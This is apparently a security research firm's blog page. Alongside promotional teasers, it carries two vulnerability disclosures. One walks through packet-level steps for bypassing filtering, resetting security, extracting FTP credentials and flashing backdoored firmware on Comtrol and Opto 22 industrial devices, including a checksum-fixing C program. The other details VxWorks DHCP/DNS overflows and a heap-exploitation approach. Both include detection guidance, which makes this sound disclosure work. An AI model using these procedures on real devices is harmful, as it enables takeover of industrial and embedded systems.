Get visibility into Zero-Day data

Exodus is excited to formally announce a strategic partnership with Kenna Security —a pioneer and leader in vulnerability management and risk assessment. The Kenna platform provides enterprises with a powerful view into their vulnerability profile, collected from vulnerability scanning tools, such as Qualys and Rapid7, and is further augmented by intelligence feeds. Continue reading

Fuzzing Grammars in Python: gramfuzz


Grammar-based fuzzing is not new, nor is my grammar-based fuzzer; however, this is my fifth, best, and favorite rewrite of it. My grammar fuzzer started with the original version in ruby, and then over the years was rewritten once more in ruby and twice in Python. This version is the third Python rewrite.

Readers and friends, meet gramfuzz (, docs), my fifth-generation grammar-based fuzzer.

Continue reading

Firmware Updates Made Easy

Contributors: David Barksdale of Exodus Intelligence, Independent Security Researcher Jeremy Brown

These are two vulnerabilities that allow a remote unauthenticated attacker to update firmware. If the device is configured with MAC or IP filtering, the attacker can bypass filtering if they have access to the same network segment as the device.

Comtrol RocketLinx ES8510-XTE

Product Overview

The Comtrol RocketLinx ES8510-XTE is a managed industrial Ethernet switch. It has seven 10/100BASE-TX ports and three additional ports which can be allocated among any of three 10/100BASE-TX ports and three SFP ports. It has two digital-in and two digital-out ports which can be used for alarms or triggering events. It also has an RS-232 console port.

The switch can be managed with a Command Line Interface (CLI) accessible over the console port, SSH, and Telnet; with a web interface; SNMP; and with a Windows program called PortVision DX.


The CLI, web interface, and SNMP all require authentication, however the PortVision program can carry out certain management tasks without authentication. PortVision sends commands to the switch via UDP packets to port 5010. The switch can be configured to filter packets based on an IP and MAC whitelist to prevent attackers from sending unauthorized commands to the switch. This can be bypassed and an attacker can use the PortVision protocol to upload and flash a backdoored firmware to the switch.

Because the PortVision protocol lacks authentication and can upload and flash firmware files, which also lack cryptographic authentication, an attacker can install a backdoor in the switch. The PortVision protocol is also session-less UDP, allowing an attacker to bypass IP and MAC filtering by sending spoofed packets to the switch.

Comtrol has published firmware version 2.7d which allows users to disable the PortVision service, in earlier versions the service is always available.

PortVision Protocol

PortVision sends requests to network devices using UDP on port 5010, either to the IP broadcast address or unicast to a specific IP. Responses are always sent to the IP broadcast address and the UDP source and destination ports swapped from the request. Both requests and responses have the same format. The data format is a sequence of records having three parts: a 32-bit big-endian type code, a 32-bit big-endian length, and a variable-sized value with the specified length. The type code of the first record in a request is the type of the request and the value of this record is unused. The following records are parameters to the request. The responses usually have a record with an acknowledge type code to match the request, but it is not always the first record in the response. The known type codes are listed below.

PortVision Protocol Record Types

Type Code Description
1 Manufacturer string
2 Model string
3 MAC address (6 bytes)
4 IP address (4 bytes)
5 IP netmask (4 bytes)
6 IP gateway (4 bytes)
7 Discovery request
8 Discovery acknowledgement
11 IP configuration request
12 IP configuration acknowledgement
21 Configuration file backup request
24 Configuration file restore request
27 Configuration file load default request
25 Reset to factory defaults acknowledgement
31 Firmware upgrade request
32 Firmware upgrade acknowledgement
33 Firmware upgrade error string
34 Version string
35 Bootloader upgrade request
43 TFTP clear file request (clears /home/Quaaga.conf and /home/firmware.bin)
44 Reboot request
45 Reset to factory defaults request
91 LED signal on request
92 LED signal off request
94 SFP check request
111 Self-test request

The IP configuration, factory reset, and reboot requests require a MAC address record matching the network device intended to carry out the request.

Disabling Security

The switch can be configured with IP and MAC whitelists. The attacker can discover a whitelisted IP address by sending a PortVision discovery request to the IP broadcast address from every IP address in a subnet looking for responses. The response from the switch is also sent to the IP broadcast address. In order to determine which IP address was in the whitelist, each discover request is sent from a unique UDP source port, the discovery reply is sent back to the same port. The MAC filtering is bypassed by sending packets from the Ethernet broadcast address (FF:FF:FF:FF:FF), which is always allowed through the filter. This can only be done if the attacker is on the same network segment as the switch.

The discovery request has one record of type 7, length 1, and data 1:

00 00 00 07 00 00 00 01 01

The example discovery reply below has the following records:

Manufacturer string: Comtrol

Model string: ES8510-XTE

Discovery acknowledgement: ack

IP address:

IP netmask:

MAC address: 00:c0:4e:30:01:93

Version string: v2.7c (b1.6.2.12)

Type 9: 00 00 00 00

IP gateway:

Type 222: 00 00 00 00

00000000 00 00 00 01 00 00 00 07 43 6f 6d 74 72 6f 6c 00 ........ Comtrol.
00000010 00 00 02 00 00 00 0a 45 53 38 35 31 30 2d 58 54 .......E S8510-XT
00000020 45 00 00 00 08 00 00 00 03 61 63 6b 00 00 00 04 E....... .ack....
00000030 00 00 00 04 0a 64 00 05 00 00 00 05 00 00 00 04 .....d.. ........
00000040 ff ff ff 00 00 00 00 03 00 00 00 06 00 c0 4e 30 ........ ......N0
00000050 01 93 00 00 00 22 00 00 00 11 76 32 2e 37 63 20 .....".. ..v2.7c
00000060 28 62 31 2e 36 2e 32 2e 31 32 29 00 00 00 09 00 (b1.6.2. 12).....
00000070 00 00 04 00 00 00 00 00 00 00 06 00 00 00 04 0a ........ ........
00000080 64 00 01 00 00 00 de 00 00 00 04 00 00 00 00 -- d....... .......

Once a whitelisted IP is found, security can be disabled by issuing a factory reset request:

00000000 00 00 00 2d 00 00 00 01 01 00 00 00 03 00 00 00
00000010 06 00 c0 4e 30 01 93

The IP configuration from the discovery reply above can then be restored by issuing an IP configuration request:

00000000 00 00 00 0b 00 00 00 01 01 00 00 00 03 00 00 00
00000010 06 00 c0 4e 30 01 93 00 00 00 04 00 00 00 04 0a
00000020 64 00 05 00 00 00 05 00 00 00 04 ff ff ff 00 00
00000030 00 00 06 00 00 00 04 0a 64 00 01

If only IP filtering is configured and the attacker already knows the MAC and IP of the switch and an IP address on the whitelist and the attacker can send it packets with a spoofed IP source address, then the firmware update can be carried out from outside the local network segment and without the need for a factory reset.

Backdooring the Firmware

A backdoored firmware image is created by extracting the parts of the 2.7c firmware image—the kernel, the squashfs filesystem, and the trailer—and then modifying the /etc/passwd file to allow the root user to login over SSH, and then recombining the parts and updating the checksum in the trailer.

Firmware Parts

Offset Size Description
0 0x100000 Kernel
0x100000 0x459000 SquashFS Root
0x559000 0x1000 Trailer

The squashfs filesystem can be extracted and re-made using the squashfs-2.2-r2-7z code from Firmware Mod Kit. The only modification made is to give root the password “exodus” and the shell /bin/sh.


The new squashfs filesystem is combined with the original kernel and tailer parts and the checksum in the trailer is updated with the following C program.

#include <endian.h>
#include <stdint.h>
#include <stdio.h>

int main(int argc, char **argv)
  FILE *fp = fopen(argv[1], "r+");
  if (!fp) {
    return -1;

  // sum every little-endian 32-bit word in the file
  uint32_t checksum = 0;
  uint32_t buf[1024];
  int i;
  while (1024 == fread(buf, 4, 1024, fp)) {
    for (i = 0; i < 1024; i++)
      checksum += le32toh(buf[i]);

  // subtract out the last block
  for (i = 0; i < 1024; i++)
    checksum -= le32toh(buf[i]);
  printf("checksum = 0x%08X\n", checksum);

  // print out the obfuscated product-version string
  printf("Firmware Version: ");
  uint8_t *bytes = (uint8_t *)buf;
  for (i = 791; i < 791 + 34; ++i) {
    bytes[i] -= 103;
    printf("%c", bytes[i]);

  // checksum is stored in little endian at offset 283
  fseek(fp, -4096 + 283, SEEK_CUR);
  checksum = htole32(checksum);
  printf("writing checksum at offset %ld\n", ftell(fp));
  fwrite(&checksum, 4, 1, fp);

Flashing the Firmware

The backdoored firmware is transferred using TFTP to the destination path /home/firmware.bin on the switch. Then a PortView request is sent to command the switch to flash the firmware:

00 00 00 1f 00 00 00 01 01

And another to reboot the switch:

00000000 00 00 00 2c 00 00 00 01 01 00 00 00 03 00 00 00
00000010 06 00 c0 4e 30 01 93

Detection Guidance

Exploitation attempts can be detected by monitoring network traffic for unexpected TFTP and PortVision traffic. The PortVision software periodically polls the network with discovery requests, but firmware upgrade requests should be rare and only during planned maintenance.


Product Overview

The Opto 22 OPTEMU-SNR-DR2 is an energy monitoring and control device. It can monitor two KY or KYZ pulsing devices and up to 64 data inputs from Modbus devices over serial or Ethernet. It has four relay outputs for controlling equipment or signaling other energy or building management systems.

The device can be managed over Ethernet using the OptoMMP, PAC Control, FTP, and SNMP protocols.

The latest firmware as of this publication (version 9.2b) is vulnerable.


The FTP and SNMP protocols both support authentication, however the OptoMMP and PAC Control protocols do not support authentication. The OptoMMP protocol can be used for administrative tasks like modifying IP filtering rules and the credentials used for FTP authentication. The PAC Control protocol is not used in this exploit but also provides a high level of access to the device’s functions.

The device does not use cryptographic authentication to verify new firmware images and will accept a malicious firmware uploaded over FTP. The FTP authentication credentials can be read directly from the device using the OptoMMP protocol, which itself has no authentication. The OptoMMP protocol has a session-less UDP mode, allowing an attacker to bypass IP filtering by sending spoofed packets to the device.

OptoMMP Protocol

The OptoMMP protocol is documented in OptoMMP Protocol Guide. The protocol is based on IEEE 1394 and presents a memory-map which can be read and written by byte addresses. It can be accessed via TCP or UDP on port 2001. The memory addresses relevant to this exploit are listed below.

OptoMMP Security Fields

Address Size Description
0xfffff03a0010 0x4 FTP port
0xfffff03d0000 0x40 FTP username
0xfffff03d0040 0x40 FTP password
0xfffff03a0020 0x4 IP Filter Address
0xfffff03a0024 0x4 IP Filter Mask
(eight address-mask pairs omitted)
0xfffff03a0068 0x4 IP Filter Address
0xfffff03a006c 0x4 IP Filter Mask
0xfffff0300080 0x20 Device’s part number

Disabling Security

The device can be configured with IP filtering whitelists and the FTP service can be disabled by setting its port number to zero. A whitelisted IP address can be discovered by sending an OptoMMP read request to the broadcast address from every IP address in a subnet looking for responses. This can only be done if the attacker is on the same network segment as the device.

The following packet hexdump shows the contents of the UDP packets used to discover a whitelisted IP address. The packets are sent to the IP broadcast address The IP source address is different for each packet as it is scanned through a range of addresses. At the UDP layer the packets are sent to port 2001 and the source port is randomly chosen. The transaction label (the six high-order bits in the third byte) is also chosen randomly.

00 00 bc 50 00 00 ff ff f0 30 00 80 00 20 00 00

The reply to the read block request is unicast back to the source port and IP address of the request.

00000000 00 00 ec 70 00 00 00 00 00 00 00 00 00 20 00 00 ...p.... ..... ..
00000010 4f 50 54 4f 45 4d 55 2d 53 4e 52 2d 44 52 32 00 OPTOEMU- SNR-DR2.
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

The FTP port is then set to 21 with a write block request to ensure that FTP is enabled. The response is ignored.

00000000 00 00 b8 10 00 00 ff ff f0 3a 00 10 00 04 00 00
00000010 00 00 00 15

The ten IP filter mask values are all set to with ten write block requests. The responses are ignored.

00000014 00 00 04 10 00 00 ff ff f0 3a 00 24 00 04 00 00
00000024 00 00 00 00
00000028 00 00 80 10 00 00 ff ff f0 3a 00 2c 00 04 00 00
00000038 00 00 00 00
0000003C 00 00 04 10 00 00 ff ff f0 3a 00 34 00 04 00 00
0000004C 00 00 00 00
00000050 00 00 14 10 00 00 ff ff f0 3a 00 3c 00 04 00 00
00000060 00 00 00 00
00000064 00 00 d8 10 00 00 ff ff f0 3a 00 44 00 04 00 00
00000074 00 00 00 00
00000078 00 00 c0 10 00 00 ff ff f0 3a 00 4c 00 04 00 00
00000088 00 00 00 00
0000008C 00 00 90 10 00 00 ff ff f0 3a 00 54 00 04 00 00
0000009C 00 00 00 00
000000A0 00 00 38 10 00 00 ff ff f0 3a 00 5c 00 04 00 00
000000B0 00 00 00 00
000000B4 00 00 a8 10 00 00 ff ff f0 3a 00 64 00 04 00 00
000000C4 00 00 00 00
000000C8 00 00 d8 10 00 00 ff ff f0 3a 00 6c 00 04 00 00
000000D8 00 00 00 00

The FTP username is obtained with a read block request:

00 00 08 50 00 00 ff ff f0 3d 00 00 00 40 00 00

In this example the configured FTP username is “admin”:

00000000 00 00 08 70 00 00 00 00 00 00 00 00 00 40 00 00 ...p.... .....@..
00000010 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00 admin... ........
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

The FTP password is also obtained with a read block request:

00 00 9c 50 00 00 ff ff f0 3d 00 40 00 40 00 00

In this example the configured FTP password is “exodus”:

00000000 00 00 9c 70 00 00 00 00 00 00 00 00 00 40 00 00 ...p.... .....@..
00000010 65 78 6f 64 75 73 00 00 00 00 00 00 00 00 00 00 exodus.. ........
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

At this point the firmware can be upgraded using the FTP server on port 21.


The firmware image is a raw image that is stored in flash memory which is mapped into the CPUs address space at 0x60000000. The firmware has an ANSI CRC16 checksum stored as a big-endian 32-bit number at offset 0x3f8 into the file and the file size is stored as a big-endian 32-bit number at offset 0x3fc into the file.

Flashing the Firmware

The firmware is uploaded over FTP to the device into the root directory. The command to program the firmware into flash memory is the string “Krn <filename>” uploaded as a file named “commandfile” over FTP. The result of the command can be read back by downloading the “commandfileresponse” file. The following is a transcript from the FTP control connection.

220 Opto 22 FTP server ready.
USER admin
331 Please specify the password.
PASS exodus
230 User logged in, proceed.
200 TYPE Command okay.
227 Entering Passive Mode (10,100,0,3,250,245).
STOR payload
150 File status okay; about to open data connection.
226 Closing data connection.
200 TYPE Command okay.
227 Entering Passive Mode (10,100,0,3,205,91).
STOR commandfile
150 File status okay; about to open data connection.
226 Closing data connection.
200 TYPE Command okay.
227 Entering Passive Mode (10,100,0,3,159,210).
RETR commandfileresponse
150 File status okay; about to open data connection.
226 Closing data connection.
221 Goodbye.

The device automatically reboots after successful programming.

This procedure leaves the networking configuration intact but clears other configuration and programming of the device.

Detection Guidance

Exploitation attempts can be detected by monitoring network traffic for unexpected FTP and OptoMMP traffic. Firmware upgrades should be rare and only during planned maintenance.

VxWorks: Execute My Packets


David Barksdale and Alex Wheeler

1. Background

Earlier this year we reported 3 vulnerabilities in VxWorks to Wind River. Each of these vulnerabilities can be exploited by anonymous remote attackers on the same network without user interaction to take control of the affected device. VxWorks is widely used in Aerospace and Defense, Automotive, Industrial, Medical, Consumer Electronics, Networking and Communication Infrastructure applications (

2. Summary

As of this writing the flaws have not been assigned CVE numbers, they are:

  1. DHCP client heap overflow in handle_ip() affecting VxWorks 6.4 and prior
  2. DHCP server stack overflow in ipdhcps_negotiate_lease_time() affecting VxWorks 6.9 versions prior to, VxWorks 6.8, VxWorks 6.7, VxWorks 6.6, and VxWorks 6.5 and prior versions
  3. DNS client stack overflow in ipdnsc_decode_name() affecting VxWorks 7, VxWorks 6.9, VxWorks 6.8, VxWorks 6.7, VxWorks 6.6, and VxWorks 6.5

Please login to your support account on or contact your Wind River support representative for mitigation of these issues.

3. Vulnerabilities

A. DHCP IP Address Option Client Heap Overflow

VxWorks 6.4 and prior fail to properly handle the lengths of IP addresses in DHCP Options in  handle_ip() and handle_ips().  handle_ip() contains a trivial overflow and will be the focus of this section. The flaw was initially found while auditing the network stack of IN_DISCLOSURE. Below is the disassembly describing the flaw in handle_ip() from the IN_DISCLOSURE firmware.

RAM:803D6D38 handle_ip: # DATA XREF: RAM:80F18AC8o
RAM:803D6D38            # RAM:80F18B04o ...
RAM:803D6D38 addiu $sp, -0x28
RAM:803D6D3C sw    $s3, 0x28+var_C($sp)
RAM:803D6D40 sw    $s2, 0x28+var_10($sp)
RAM:803D6D44 sw    $s0, 0x28+var_18($sp)
RAM:803D6D48 sw    $ra, 0x28+var_8($sp)
RAM:803D6D4C sw    $s1, 0x28+var_14($sp)
RAM:803D6D50 move  $s3, $a0
RAM:803D6D54 lb    $s1, 0($s3)
RAM:803D6D58 move  $s2, $a1
RAM:803D6D5C li    $v0, 0x36
RAM:803D6D60 beq   $s1, $v0, __copy_option__ # code == 36h
RAM:803D6D64 addiu $s0, $s2, 0x98
RAM:803D6D68 li    $v0, 0x20
RAM:803D6D6C beq   $s1, $v0, __copy_option__ # code == 20h
RAM:803D6D70 addiu $s0, $s2, 0xB8
RAM:803D6D74 li    $a0, 1 # num
RAM:803D6D78 jal   my_calloc # 4 byte buffer
RAM:803D6D7C li    $a1, 4 # size
RAM:803D6D80 move  $s0, $v0
RAM:803D6D84 beqz  $s0, __exit__ # calloc() == ERROR
RAM:803D6D88 li    $v0, 0xFFFFFFFF
RAM:803D6E28 __copy_option__: # CODE XREF: handle_ip+28j
RAM:803D6E28 lbu   $a2, 1($s3) # len (1 BYTE FROM PACKET)
RAM:803D6E2C move  $a1, $s0 # dst (4 BYTE BUFFER)
RAM:803D6E30 jal   my_bcopy
RAM:803D6E34 addiu $a0, $s3, 2 # src (OptionPtr + 2)
RAM:803D6E38 move  $v0, $zero
RAM:803D6E3C __exit__: # CODE XREF: handle_ip+4Cj
RAM:803D6E3C lw    $ra, 0x28+var_8($sp)
RAM:803D6E40 lw    $s3, 0x28+var_C($sp)
RAM:803D6E44 lw    $s2, 0x28+var_10($sp)
RAM:803D6E48 lw    $s1, 0x28+var_14($sp)
RAM:803D6E4C lw    $s0, 0x28+var_18($sp)
RAM:803D6E50 jr    $ra
RAM:803D6E54 addiu $sp, 0x28
RAM:803D6E54 # End of function handle_ip

As described in the disassembly above, the vulnerability is caused by using a DHCP option length from the packet to copy into a 4 byte heap buffer, resulting in a heap overflow. This vulnerability can be exploited by responding to an affected device’s DHCP request with a malicious response containing a DHCP option length larger than 4 for the following DHCP option codes: 1, 16, 28, 32, and 54.

B. DHCP Option Lease Time Negotiation Server Stack Overflow

VxWorks 6.5 through VxWorks 6.9.3 fail to properly validate a lease time length when a DHCP server parses DHCP option 51 in ipdhcps_negotiate_lease_time(), which results in a stack overflow. The flaw is caused by using a DHCP IP Address Time option length from the packet to copy into a 4 byte stack buffer, resulting in a stack overflow. In either a DHCP Discovery or Request packet, the attacker simply includes an option of type 51 (the lease time option) that is larger than the expected 4 bytes. The entire contents of the option record (up to 255 bytes) will be copied into a buffer on the stack that is only 4 bytes.

C. DNS Response Decompression Stack Overflow

VxWorks 6.5 through VxWorks 7 fail to properly bound the decompression of names in ipdnsc_decode_name() which results in a stack overflow. The following is a snippet of the affected code for your review.

ipdnsc_decode_name(Ip_u8 *name, Ip_u8 *buf, Ip_u8 *start, Ip_u8 *end)
  Ip_u8 *ptr, *prev;
  Ip_s32 i, len, tot_len = 0, compress = 0;

  ptr = buf;
  while (*ptr && ptr < end)
    /* Loop until we find a non-pointer */
    while ((*ptr & 0xc0) == 0xc0 && ptr < end)
      prev = ptr;
      ptr = start + (IP_GET_NTOHS(ptr) & 0x3fff);
      if (ptr >= prev)
        return -1; /* Do not allow forward jumps (avoid loops) */
      if (!compress)
        tot_len += 2;
      compress = 1;
    /* Store the length of the label */
    if (ptr >= end)
      return -1;
    len = *ptr++;
    if (len > IPDNSC_MAXLABEL)
      return -1;
    if (!compress) 
      tot_len = tot_len + len + 1;
    if (tot_len > IPDNSC_MAXNAME)
      return -1;
    /* Copy the label to name */
    for (i=0; i<len; i++)
      if (ptr >= end)
        return -1;
      *name++ = *ptr++;
    *name++ = '.';

  if (!compress)/* Increment for the last zero */

  /* Null terminate the name string */
  if (tot_len)
  *name = 0;
  return tot_len;

In the above code, the programmer fails to properly bound the decoded name to IPDNSC_MAXNAME when decompression is involved.  The only caller to this function, ipdnsc_parse_response(), passes the address of a 255-byte stack buffer as the output buffer name. When an attacker causes the target to process a DNS response with a name record that decompresses to larger than 255 bytes, the stack buffer will be overflowed.

4. Exploitation

Attack Vectors

All 3 vulnerabilities may be exploited by anonymous remote attackers on the same network as the target. Since the DHCP vulnerabilities are reachable over UDP and we found no TTL enforcement, in theory, an anonymous remote attacker may be able to exploit them while not on the same network by spoofing packets. Non-local network exploitation seems more plausible against the DHCP Option IP Lease Time Server Stack Overflow than the DHCP Option IP Client Heap Overflow – mainly because you need to guess the client’s 2 byte Transaction ID to trigger the client overflow (spoof, spray, and pray). The DNS Decompression Stack Overflow may be exploited by attackers that are on the same network, in control of a name server, or MITM between the target and a legit name server.

The remainder of this post discusses exploitation of the DHCP IP Option Client Heap Overflow. The stack overflows are left as an exercise for the reader.

Exploiting the Heap Overflow in handle_ip()

The DHCP client heap overflow occurs when parsing option records in the DHCP Offer packet normally sent to clients from a DHCP server during start-up and periodically afterwards. DHCP option records which correspond to IP address values (type 1, 16, 28, 32, and 54) are assumed to have a length of four bytes and the function which processes these options (named handle_ip) allocates a 4-byte buffer on the heap. However when copying the contents of the option record into the buffer, the function uses the length value in the option record for the number of bytes to copy. An attacker can provide up to 255 bytes to copy into the 4-byte heap buffer.

While we weren’t able to test all affected versions on all platforms, we were able to develop an exploit for two IP Deskphones from two different vendors both running VxWorks 5.5 on MIPS32.

In broad strokes our exploit needs to corrupt heap metadata in such a way that gives us control of execution, then it needs to flush our exploit code from the data cache to main memory (MIPS has separate data and instruction caches) so it can be executed, then it needs to jump to that code. The exploit code then needs to repair the heap and for convenience start an OS task that executes whatever payload we may have.

The heap allocator maintains a doubly-linked list of free chunks which it scans when allocating memory. The previous and next pointers are stored in the chunk header along with the size of the chunk, a flag indicating if the chunk is free or allocated, and a pointer to the previous chunk in memory.

Previous Chunk Free Chunk Next Chunk
Previous chunk pointer Chunk size and free flag Next free chunk pointer Previous free chunk pointer Data

Our exploit overwrites the previous and next pointers of a free chunk and then allocates that chunk. During allocation the free chunk is removed from the doubly-linked list, giving us the ability to write an arbitrary 4-byte value to an arbitrary location in memory. In order to get control of execution we overwrite the function pointer in the table of DHCP option handling functions for option type 48, then cause that function to be called by adding an option of that type to our DHCP Offer packet.

To accomplish this we need to arrange the heap so that our buffer is adjacent to a free heap chunk of a known size, overflow that chunk’s header, and then allocate that chunk. This turns out to be easier than it sounds. The following DHCP option list does the job in most cases:

    Code   Len
   |  3  |  0  |
   |  4  |  0  |
   \\    \\    \\
   | 11  |  0  |
   |  1  |  0  |
   |  1  | 32  |  Data  |
   | 28  | ... |
   | 48  | ... |

Option codes 3-11 cause two small allocations from the heap each, this helps defragment the heap and makes it more likely that the next chunk on the free list is large enough for our next two allocations. Assuming the next free chunk is large enough, the heap allocator will split it into two smaller chunks and return the one at the end for our first option 1. When handle_ip() processes the second option 1 record, it will allocate the heap buffer (which will be before and adjacent to the one we just allocated), notice that a buffer for option 1 was already allocated and free it (adding it to the head of the free list), then write our 32 bytes of data into the buffer which overflows into the metadata of the first free chunk on the free list. Option 28 then allocates that corrupt chunk and in doing so overwrites the function pointer for handling option 48. Option 48 then calls that pointer and we have control of execution.

We will post more details about exploitation of this issue in the near future, after IN_DISCLOSURE have had a chance to publish a fix. If you have a VxWorks-based device and would like us to develop a PoC for it, please contact with the details.

5. Detection

A. DHCP Option IP Address Client Heap Overflow

Detection of attempts to exploit this vulnerability can be accomplished by examining the length field of DHCP Option Codes 1, 16, 28, 32, and 54 for values greater than 4 in DHCP Offers.

B. DHCP Option Lease Time Server Stack Overflow

Detection of attempts to exploit this vulnerability can be accomplished by examining the length field of DHCP Option Code 51 for values greater than 4 in DHCP Discover and Request packets.

C. DNS Response Decompression Stack Overflow

Detection of attempts to exploit this vulnerability can be accomplished by examining names in DNS responses for compression that results in a decoding of a name to larger than 255 bytes.

Exodus announces new acquisition program for both Zero-Day and N-Day vulnerabilities

threat intelligenceExodus Intelligence has unveiled the new Research Sponsorship Program (RSP), focused on acquiring vulnerability research and exploits from the global cybersecurity research community. While continuing to acquire Zero-Day research, the RSP is the first widely available acquisition program to offer bounties for exploits that exercise N-Day vulnerabilities. Continue reading

Building real Zero-Day analysis into your risk assessment

Security analysts are in a daily struggle to understand their risk profile, constantly working to capture the state of their attack surface, assess the total risk that it presents and prioritize their efforts to mitigate those risks.

Here at Exodus, we have a unique view of the world, having analyzed a great number of enterprise-focus applications, as well as having worked with numerous application vendors. Through our work, we have become convinced that in order to really understand your risk profile, it’s critical for you to also understand where you are most vulnerable. You must know which corners of your network house applications with vulnerabilities for which there are no current patches. Continue reading

Twistlock and Exodus partner to identify apps with Zero-Day vulnerabilities in your containers

Container-based deployments are becoming more and more common in the enterprise, with Docker usage doubling from 2015 to 2016[1]. One of Docker’s primary strengths is the convenience it provides in packaging and distributing applications, their dependencies, and environments. Docker, Inc. provides an open-source container registry that many use as starting points for their containers, allowing one to create new containers that build on the work of others. However, the convenience of the Docker ecosystem comes at the cost of increasing the difficulty of knowing which applications and dependencies are within a Docker container, allowing administrators to unknowingly grow their org’s entire attack surface.

twistlockAt Exodus Intelligence, we understand the priority of knowing whether containerized applications are vulnerable, so that steps can be taken to mitigate and reduce overall risk. To this end, we are pleased to announce our partnership with Twistlock—the leader in securing containerized applications, and noted as one of the “Top 20 Cyber Security firms to watch in 2016” by Dark Reading. In this partnership, Exodus Intelligence Zero-Day metadata becomes an integral intelligence source within Twistlock applications.  Continue reading

It’s Time to Focus on the Problem

cybersecPost by Ted Ross
Exodus Intelligence, CEO

It’s been interesting to watch the cybersecurity industry evolve over the last two decades. I’ve seen radical shifts in actor behavior and sophistication, as well as industries’ ability to comprehend and address threats. With that in mind, it would be easy to build a picture of “doom and gloom”—given that everybody realizes that industry and government alike are not able to keep up. Continue reading